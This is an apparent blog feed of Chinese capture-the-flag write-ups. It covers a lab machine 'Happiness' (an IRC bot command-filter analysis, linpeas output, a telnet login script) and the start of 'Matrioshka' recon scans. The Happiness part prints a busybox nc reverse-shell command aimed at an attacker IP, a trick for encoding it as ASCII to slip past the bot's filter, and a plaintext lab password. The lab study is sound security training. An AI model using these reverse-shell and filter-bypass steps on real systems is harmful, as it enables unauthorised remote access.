/usr/share/rubygems-integration/all/gems/rake-13.0.3/lib/rake/thread_history_display.rb:      @stats   = stats
/usr/share/rubygems-integration/all/gems/rake-13.0.3/lib/rake/thread_history_display.rb:      @items   = { _seq_: 1  }
/usr/share/rubygems-integration/all/gems/rake-13.0.3/lib/rake/thread_history_display.rb:      @threads = { _seq_: &amp;quot;A&amp;quot; }

╔══════════╣ Searching *password* or *credential* files in home (limit 70)                                      
/etc/pam.d/common-password                              
/usr/bin/systemd-ask-password
/usr/bin/systemd-tty-ask-password-agent
/usr/lib/grub/i386-pc/legacy_password_test.mod
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/usr/lib/ruby/2.7.0/bundler/uri_credentials_filter.rb
/usr/lib/systemd/systemd-reply-password
/usr/lib/systemd/system/multi-user.target.wants/systemd-ask-password-wall.path
/usr/lib/systemd/system/sysinit.target.wants/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.service
/usr/lib/systemd/system/systemd-ask-password-wall.path
/usr/lib/systemd/system/systemd-ask-password-wall.service
  #)There are more creds/passwds files in the previous parent folder

/usr/lib/x86_64-linux-gnu/libmariadb3/plugin/mysql_clear_password.so
/usr/lib/x86_64-linux-gnu/libmariadb3/plugin/sha256_password.so                                                 
/usr/share/icons/Adwaita/16x16/legacy/dialog-password.png
/usr/share/icons/Adwaita/16x16/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/22x22/legacy/dialog-password.png
/usr/share/icons/Adwaita/24x24/legacy/dialog-password.png
/usr/share/icons/Adwaita/24x24/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/256x256/legacy/dialog-password.png
/usr/share/icons/Adwaita/32x32/legacy/dialog-password.png
/usr/share/icons/Adwaita/32x32/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/48x48/legacy/dialog-password.png
/usr/share/icons/Adwaita/48x48/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/64x64/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/96x96/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/scalable/status/dialog-password-symbolic.svg
/usr/share/man/man1/systemd-ask-password.1.gz
/usr/share/man/man1/systemd-tty-ask-password-agent.1.gz
/usr/share/man/man7/credentials.7.gz
/usr/share/man/man8/systemd-ask-password-console.path.8.gz
/usr/share/man/man8/systemd-ask-password-console.service.8.gz
/usr/share/man/man8/systemd-ask-password-wall.path.8.gz
/usr/share/man/man8/systemd-ask-password-wall.service.8.gz
  #)There are more creds/passwds files in the previous parent folder

/usr/share/pam/common-password.md5sums
/var/cache/debconf/passwords.dat
/var/lib/pam/password

╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs                                                 
                                                        
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs                                                 
                                                        
╔══════════╣ Searching passwords inside logs (limit 70)
Binary file /var/log/journal/52a22a6e47cb4a5995fb43c3554baa0e/user-1000.journal matches
/var/log/installer/status:Description: Set up users and passwords                                               

╔══════════╣ Checking all env variables in /proc/*/environ removing duplicates and filtering out useless env vars                                                       
HOME=/home/Eecho                                        
LANG=en_US.UTF-8
_=./linpeas.sh
LISTEN_FDNAMES=dbus.socket
LISTEN_FDS=1
LOGNAME=Eecho
MANAGERPID=12507
NOTIFY_SOCKET=/run/systemd/notify
PWD=/home/Eecho
SHELL=/bin/bash
SHLVL=1
SSH_CLIENT=192.168.0.108 36408 22
SSH_CLIENT=192.168.0.108 39356 22
SSH_CONNECTION=192.168.0.108 36408 192.168.0.106 22
SSH_CONNECTION=192.168.0.108 39356 192.168.0.106 22
SSH_TTY=/dev/pts/0
SSH_TTY=/dev/pts/1
TERM=xterm-256color
USER=Eecho
XDG_RUNTIME_DIR=/run/user/1000


                                ╔════════════════╗
════════════════════════════════╣ API Keys Regex ╠════════════════════════════════                              
                                ╚════════════════╝      
Regexes to search for API keys aren&amp;#39;t activated, use param &amp;#39;-r&amp;#39; 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Eecho@Happiness:~$ cat /usr/local/bin/irc_bot.py
import irc.bot
import irc.client
import re
import subprocess
import time
import threading

class IRCBot(irc.bot.SingleServerIRCBot):
    def __init__(self, server, port, nickname, channels, command_channel):
        irc.bot.SingleServerIRCBot.__init__(self, [(server, port)], nickname, nickname)
        self.channel_list = channels
        self.command_channel = &amp;quot;#chan1&amp;quot;  # 唯一执行命令的频道
        self.command_channels = [&amp;quot;#chan1&amp;quot;, &amp;quot;#chan2&amp;quot;, &amp;quot;#chan3&amp;quot;, &amp;quot;#chan4&amp;quot;, &amp;quot;#chan5&amp;quot;]  # 所有检测命令的频道
        self.command_pattern = re.compile(r&amp;#39;:\)$&amp;#39;)
        self.allowed_users = {&amp;quot;Todd&amp;quot;, &amp;quot;suraxddq&amp;quot;, &amp;quot;ll104567&amp;quot;}
        self.number_regex = re.compile(r&amp;#39;^\s*(\d+\s+)*\d+\s*$&amp;#39;)
        self.allowed_commands = [&amp;quot;more&amp;quot;, &amp;quot;dir&amp;quot;, &amp;quot;busybox&amp;quot;, &amp;quot;whoami&amp;quot;]
        self.chan6_timer = None  

    def on_welcome(self, connection, event):
        for channel in self.channel_list:
            connection.join(channel)
            print(f&amp;quot;[+] Already joined the channel：{channel}&amp;quot;)
        self.start_chan6_timer()

    def start_chan6_timer(self):
        if self.chan6_timer:
            self.chan6_timer.cancel()
        self.chan6_timer = threading.Timer(180.0, self.send_chan6_message)
        self.chan6_timer.start()

    def send_chan6_message(self):
        try:
            if self.connection.is_connected():
                self.connection.privmsg(&amp;quot;#chan6&amp;quot;, &amp;quot;My friends and I are chatting on it, but we all follow the formatting requirements. Finally, we need to:) End&amp;quot;)
                print(&amp;quot;[*] Timed reminder has been sent #chan6&amp;quot;)
        except Exception as e:
            print(f&amp;quot;[!] Sending timed notification failed：{str(e)}&amp;quot;)
        finally:
            self.start_chan6_timer()

    def on_disconnect(self, connection, event):
        if self.chan6_timer:
            self.chan6_timer.cancel()
            self.chan6_timer = None
        super().on_disconnect(connection, event)

    def on_pubmsg(self, connection, event):
        channel = event.target
        user = event.source.nick
        message = event.arguments[0]

        # 检测所有命令频道的消息
        if channel in self.command_channels and self.command_pattern.search(message):
            print(f&amp;quot;[*] Received command：{message} (From users：{user})&amp;quot;)
            
            # 格式验证（所有频道通用）
            cmd_part = message.rsplit(&amp;#39;:)&amp;#39;, 1)[0].strip()
            if not self.number_regex.match(cmd_part):
                connection.privmsg(user, &amp;quot;[!] Format error or presence of illegal characters&amp;quot;)
                return
            
            # 非#chan1频道直接返回权限错误
            if channel != self.command_channel:
                connection.privmsg(user, &amp;quot;[!] Error: Command execution not allowed&amp;quot;)
                return
            
            # #chan1专属执行流程
            if self.validate_command(user):
                try:
                    numbers = list(map(int, cmd_part.split()))
                    for num in numbers:
                        if num &amp;lt; 0 or num &amp;gt; 255:
                            raise ValueError(&amp;quot;[-] Number range exceeds（0-255）&amp;quot;)
                    ascii_cmd = &amp;#39;&amp;#39;.join([chr(n) for n in numbers])
                except ValueError as e:
                    connection.privmsg(user, f&amp;quot;[!] conversion error ：{str(e)}&amp;quot;)
                    return
                
                if not self.is_command_allowed(ascii_cmd):
                    connection.privmsg(user, f&amp;quot;[!] Wrong command: &amp;#39;{ascii_cmd.split()[0]}&amp;#39; unauthorized!&amp;quot;)
                    return

                result = self.execute_command(ascii_cmd)
                if result:
                    safe_result = result.replace(&amp;#39;\n&amp;#39;, &amp;#39; &amp;#39;).replace(&amp;#39;\r&amp;#39;, &amp;#39;&amp;#39;)
                    try:
                        connection.privmsg(user, f&amp;quot;[+] COMMAND EXECUTION：{safe_result}&amp;quot;)
                    except irc.client.InvalidCharacters:
                        connection.privmsg(user, &amp;quot;[!] Format error or presence of illegal characters&amp;quot;)
            else:
                connection.privmsg(user, &amp;quot;[!] Format error or presence of illegal characters&amp;quot;)

    def is_command_allowed(self, command):
        parts = command.strip().split()
        if not parts:
            return False
        main_cmd = parts[0]
        return (
            main_cmd in self.allowed_commands and
            not re.search(r&amp;#39;[;&amp;amp;|`]&amp;#39;, command)
        )

    def execute_command(self, command):
        try:
            parts = command.strip().split()
            output = subprocess.check_output(
                parts,
                stderr=subprocess.STDOUT,
                universal_newlines=True,
                timeout=10
            )
            return output.strip()[:400].replace(&amp;#39;\r&amp;#39;, &amp;#39;&amp;#39;).replace(&amp;#39;\n&amp;#39;, &amp;#39; &amp;#39;)
        except subprocess.CalledProcessError as e:
            return f&amp;quot;[!] Command execution failed：{e.output.strip()}&amp;quot;
        except Exception as e:
            return f&amp;quot;[-] Error：{str(e)}&amp;quot;

    def validate_command(self, user):
        return user in self.allowed_users

def run_bot():
    server = &amp;quot;PyCrt&amp;quot;
    port = 6667
    nickname = &amp;quot;admin&amp;quot;
    channels = [&amp;quot;#chan1&amp;quot;, &amp;quot;#chan2&amp;quot;, &amp;quot;#chan3&amp;quot;, &amp;quot;#chan4&amp;quot;, &amp;quot;#chan5&amp;quot;, &amp;quot;#chan6&amp;quot;]
    command_channel = &amp;quot;#chan1&amp;quot;

    while True:
        try:
            print(&amp;quot;[*] Starting IRC server...&amp;quot;)
            bot = IRCBot(server, port, nickname, channels, command_channel)
            bot.start()
        except KeyboardInterrupt:
            print(&amp;quot;\n[!] user exit&amp;quot;)
            if bot.chan6_timer:
                bot.chan6_timer.cancel()
            break
        except Exception as e:
            print(f&amp;quot;[!] Exception occurred:{str(e)}，Try again in 5 seconds...&amp;quot;)
            time.sleep(5)

if __name__ == &amp;quot;__main__&amp;quot;:
    run_bot()
Eecho@Happiness:~$ cat /etc/systemd/system/irc_bot.service
[Unit]
Description=IRC Bot Service
After=network.target

[Service]
User=pycrtlake
Group=pycrtlake
WorkingDirectory=/usr/local/bin
ExecStart=/usr/bin/python3 /usr/local/bin/irc_bot.py
Restart=always
RestartSec=5
StandardOutput=syslog
StandardError=syslog
Environment=PYTHONUNBUFFERED=1

[Install]
WantedBy=multi-user.target
Eecho@Happiness:~$ cat /etc/inetd.conf
127.0.0.1:daytime stream tcp nowait root internal
127.0.0.1:daytime dgram udp wait root internal
127.0.0.1:echo stream tcp nowait root internal
127.0.0.1:echo dgram udp wait root internal
127.0.0.1:discard stream tcp nowait root internal
127.0.0.1:discard dgram udp wait root internal
127.0.0.1:time stream tcp nowait root internal
127.0.0.1:time dgram udp wait root internal
127.0.0.1:chargen stream tcp nowait root internal
127.0.0.1:chargen dgram udp wait root internal
127.0.0.1:telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/telnetd
Eecho@Happiness:~$ cat /etc/inetd.conf.bak
# /etc/inetd.conf: see inetd(8) for further informations.
#
# Internet superserver configuration database.
#
#
# Lines starting with &amp;quot;#:LABEL:&amp;quot; or &amp;quot;#&amp;lt;off&amp;gt;#&amp;quot; should not
# be changed unless you know what you are doing!
#
# If you want to disable an entry so it is not touched during
# package updates just comment it out with a single &amp;#39;#&amp;#39; character.
#
# Packages should modify this file by using update-inetd(8).
#
# &amp;lt;service_name&amp;gt; &amp;lt;sock_type&amp;gt; &amp;lt;proto&amp;gt; &amp;lt;flags&amp;gt; &amp;lt;user&amp;gt; &amp;lt;server_path&amp;gt; &amp;lt;args&amp;gt;
#
#:INTERNAL: Internal services
#discard                stream  tcp6    nowait  root   internal
#discard                dgram   udp6    wait    root   internal
#daytime                stream  tcp6    nowait  root   internal
#time           stream  tcp6    nowait  root    internal

#:STANDARD: These are standard services.
#&amp;lt;off&amp;gt;# telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/telnetd

#:BSD: Shell, login, exec and talk are BSD protocols.

#:MAIL: Mail, news and uucp services.

#:INFO: Info services

#:BOOT: TFTP service is provided primarily for booting.  Most sites
#       run this only on machines acting as &amp;quot;boot servers.&amp;quot;

#:RPC: RPC based services

#:HAM-RADIO: amateur-radio services

#:OTHER: Other services

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;IRC Bot 攻击向量分析&lt;/h3&gt;
&lt;p&gt;  关键点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;IRC Bot 连接到 PyCrt:6667（即 127.0.0.1:6667）&lt;/li&gt;
&lt;li&gt;允许的命令：more, dir, busybox, whoami&lt;/li&gt;
&lt;li&gt;允许的用户：Todd, suraxddq, ll104567&lt;/li&gt;
&lt;li&gt;命令格式：数字（ASCII码）+ :) 结尾&lt;/li&gt;
&lt;li&gt;只能在 #chan1 执行命令&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;  重要发现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;busybox 命令被允许 → 可以使用 busybox nc 建立反向shell！&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;服务以 pycrtlake 用户运行&lt;/p&gt;
&lt;p&gt;攻击步骤&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;1. 检查IRC服务是否运行&lt;/h4&gt;
&lt;p&gt;  ss -tlnp | grep 6667&lt;br&gt;  ps aux | grep irc&lt;/p&gt;
&lt;h4&gt;2. 安装IRC客户端&lt;/h4&gt;
&lt;p&gt;  which irssi || which nc&lt;/p&gt;
&lt;h4&gt;3. 连接IRC服务器&lt;/h4&gt;
&lt;p&gt;  nc 127.0.0.1 6667&lt;/p&gt;
&lt;p&gt;  连接后发送：&lt;br&gt;  NICK Todd&lt;br&gt;  USER Todd 0 * :Todd&lt;br&gt;  JOIN #chan1&lt;/p&gt;
&lt;p&gt;  命令编码示例&lt;/p&gt;
&lt;p&gt;  要执行 whoami，需要转换为ASCII：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;w=119, h=104, o=111, a=97, m=109, i=105&lt;/p&gt;
&lt;p&gt;PRIVMSG #chan1 :119 104 111 97 109 105 :)&lt;/p&gt;
&lt;p&gt;获取反向Shell（使用busybox nc）&lt;/p&gt;
&lt;p&gt;busybox nc -e /bin/sh 你的IP 端口 的ASCII编码：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;用Python生成&lt;/h4&gt;
&lt;p&gt;  python3 -c &amp;quot;print(&amp;#39; &amp;#39;.join(str(ord(c)) for c in &amp;#39;busybox nc -e /bin/sh 192.168.0.108 4444&amp;#39;))&amp;quot;&lt;/p&gt;
&lt;p&gt;● IRC服务器没有运行。但是注意看 inetd.conf 里的配置：&lt;/p&gt;
&lt;p&gt;  127.0.0.1:telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/telnetd&lt;/p&gt;
&lt;p&gt;  Telnet服务以root身份运行在127.0.0.1:23！&lt;/p&gt;
&lt;p&gt;  直接尝试本地telnet连接&lt;/p&gt;
&lt;p&gt;busybox nc 127.0.0.1 23&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 &amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
import socket
import time

HOST = &amp;#39;127.0.0.1&amp;#39;
PORT = 23

USER = b&amp;quot;Eecho&amp;quot;
PASS = b&amp;quot;2VQzte2RBr8p8MuOA0Gw2Sum&amp;quot;   # 改成真实密码

def reject_opts(data):
    resp = b&amp;#39;&amp;#39;
    i = 0
    while i + 2 &amp;lt; len(data):
        if data[i] == 0xff:       # IAC
            cmd = data[i+1]
            opt = data[i+2]
            if cmd == 0xfd:       # DO  -&amp;gt; WONT
                resp += b&amp;#39;\xff\xfc&amp;#39; + bytes([opt])
            elif cmd == 0xfb:     # WILL -&amp;gt; DONT
                resp += b&amp;#39;\xff\xfe&amp;#39; + bytes([opt])
            i += 3
        else:
            i += 1
    return resp

s = socket.socket()
s.settimeout(5)
s.connect((HOST, PORT))

# 先处理协商，直到看到 login:
for r in range(10):
    try:
        time.sleep(0.4)
        data = s.recv(4096)
        print(f&amp;quot;[RECV{r}]&amp;quot;, data)

        resp = reject_opts(data)
        if resp:
            print(f&amp;quot;[SEND{r}]&amp;quot;, resp)
            s.send(resp)

        if b&amp;quot;login:&amp;quot; in data.lower():
            break
    except:
        pass

# 发送用户名
time.sleep(0.3)
print(&amp;quot;[SEND] USER&amp;quot;)
s.send(USER + b&amp;quot;\r\n&amp;quot;)

# 等 Password:
while True:
    time.sleep(0.4)
    try:
        data = s.recv(4096)
        print(&amp;quot;[RECV-PASS]&amp;quot;, data)

        resp = reject_opts(data)
        if resp:
            s.send(resp)

        if b&amp;quot;password&amp;quot; in data.lower():
            break

        if b&amp;quot;login incorrect&amp;quot; in data.lower():
            print(&amp;quot;[!] Login failed before password stage&amp;quot;)
            s.close()
            exit()
    except:
        pass

# 发送密码
time.sleep(0.3)
print(&amp;quot;[SEND] PASS&amp;quot;)
s.send(PASS + b&amp;quot;\r\n&amp;quot;)

# 读最终结果
time.sleep(1)
try:
    data = s.recv(4096)
    print(&amp;quot;[RECV-FINAL]&amp;quot;, data)
except:
    print(&amp;quot;[!] no final response&amp;quot;)

s.close()
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# telnet 127.0.0.1   
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is &amp;#39;^]&amp;#39;.

Linux 4.19.0-27-amd64 (localhost) (pts/2)

Happiness login: Eecho
Password: 
Last login: Sat Jan 24 02:53:51 EST 2026 from 192.168.0.108 on pts/1
Linux Happiness 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Eecho@Happiness:~$ 
改个密码new_passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo@Happiness:/tmp/CVE-2021-4034-main$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
Eecho:x:1000:1000::/home/Eecho:/bin/bash
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Eecho@Happiness:~$ ls -al
total 4040
drwxr-xr-x 3 Eecho Eecho    4096 Jan 24 02:53 .
drwxr-xr-x 3 root  root     4096 Jan 22 11:51 ..
-rw------- 1 Eecho Eecho   12315 Jan 24 02:53 .bash_history
-rw-r--r-- 1 Eecho Eecho     220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 Eecho Eecho    3526 Apr 18  2019 .bashrc
drwx------ 3 Eecho Eecho    4096 Jan 24 02:22 .gnupg
-rwxrwxrwx 1 Eecho Eecho  971926 Nov 15 10:04 linpeas.sh
-rw-r--r-- 1 Eecho Eecho     807 Apr 18  2019 .profile
-rwxrwxrwx 1 Eecho Eecho 3104768 Jan 11 08:51 pspy64
-rw-r--r-- 1 Eecho Eecho    9452 Jan 24 02:46 pspy_output.txt
-rw------- 1 Eecho Eecho      44 Jan 22 12:59 user.txt
Eecho@Happiness:~$ cd .gnupg/
Eecho@Happiness:~/.gnupg$ ls
private-keys-v1.d  pubring.kbx  trustdb.gpg

Eecho@Happiness:~/.gnupg$ cat pubring.kbx 
KBXfits5its5
Eecho@Happiness:~/.gnupg$ cat trustdb.gpg 
gpgits5
Eecho@Happiness:~/.gnupg$ cd private-keys-v1.d/
Eecho@Happiness:~/.gnupg/private-keys-v1.d$ ls
Eecho@Happiness:~/.gnupg/private-keys-v1.d$ ls -al
total 8
drwx------ 2 Eecho Eecho 4096 Jan 24 02:22 .
drwx------ 3 Eecho Eecho 4096 Jan 24 02:22 ..
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提权不出来-放弃了&lt;/p&gt;
&lt;h1&gt;提权-wp&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/Happiness-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/weixin_42376192/article/details/157354343&quot;&gt;潜伏11年的Telnetd核弹漏洞：CVE-2026-24061零认证提权席卷全球，公开PoC触发全网紧急防御-CSDN博客&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=Mzk0MDQzNzY5NQ==&amp;mid=2247494187&amp;idx=1&amp;sn=a91383587d33514f16787771ad5ebb7c&amp;chksm=c3543eef0b49c5bff27c58a2c6154e256eced2f98a5a72cb9b73cd2579cafeb2b72dec675cee&amp;mpshare=1&amp;scene=23&amp;srcid=0125VjcX4sgoiMS4vSYuzuSM&amp;sharer_shareinfo=a2b798aab7f658305d3591e85f619072&amp;sharer_shareinfo_first=a2b798aab7f658305d3591e85f619072#rd&quot;&gt;https://mp.weixin.qq.com/s?__biz=Mzk0MDQzNzY5NQ==&amp;amp;mid=2247494187&amp;amp;idx=1&amp;amp;sn=a91383587d33514f16787771ad5ebb7c&amp;amp;chksm=c3543eef0b49c5bff27c58a2c6154e256eced2f98a5a72cb9b73cd2579cafeb2b72dec675cee&amp;amp;mpshare=1&amp;amp;scene=23&amp;amp;srcid=0125VjcX4sgoiMS4vSYuzuSM&amp;amp;sharer_shareinfo=a2b798aab7f658305d3591e85f619072&amp;amp;sharer_shareinfo_first=a2b798aab7f658305d3591e85f619072#rd&lt;/a&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/qq-group/happiness/&quot;&gt;https://heathc1iff-sec.github.io/blog/qq-group/happiness/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 25 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Matrioshka</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/matrioshka/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/matrioshka/</guid><description>This lab needed around 2 minutes for get up all the containers.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;

192.168.0.105   08:00:27:41:3c:f7       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rustscan扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# rustscan -a 192.168.0.105 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I scanned ports so fast, even my computer was surprised.

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
Open 192.168.0.105:22
Open 192.168.0.105:80
[~] Starting Script(s)
[&amp;gt;] Running script &amp;quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&amp;quot; on ip 192.168.0.105
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-23 06:38 EST


PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 b5:a4:7c:65:5c:1f:d7:89:42:bd:76:df:2c:8e:93:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP1XOWXFRA4APUDEG4a/hcbKUOu0DkzxCHuEoI2py6/DVQ0h9qNkjVO8oCJRPNwNRUI05sSCB7WCwUYWuX+oDuU=
|   256 5d:3d:2b:43:fc:89:fa:24:a3:f4:73:5f:7b:89:6c:e3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKNNjSS0msWGvbhNzXghC/zqaoTABTt/8T83ckjP31oo
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
|_http-title: mamushka
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.61 (Debian)
MAC Address: 08:00:27:41:3C:F7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/23%OT=22%CT=%CU=41650%PV=Y%DS=1%DC=D%G=N%M=080027
OS:%TM=69735DB3%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=Z%II
OS:=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7
OS:%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%
OS:W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=S)

Uptime guess: 6.169 days (since Sat Jan 17 02:34:29 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.34 ms 192.168.0.105
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# dirsearch -u 192.168.0.105

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET
Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/_192.168.0.105/_26-01-23_06-45-05.txt

Target: http://192.168.0.105/

[06:45:05] Starting:                                    
[06:45:38] 301 -    0B  - /index.php  -&amp;gt;  http://192.168.0.105/
[06:45:38] 301 -    0B  - /index.php/login/  -&amp;gt;  http://192.168.0.105/login/
[06:45:40] 200 -    7KB - /license.txt
[06:45:53] 200 -    3KB - /readme.html
[06:46:11] 301 -  317B  - /wp-admin  -&amp;gt;  http://192.168.0.105/wp-admin/
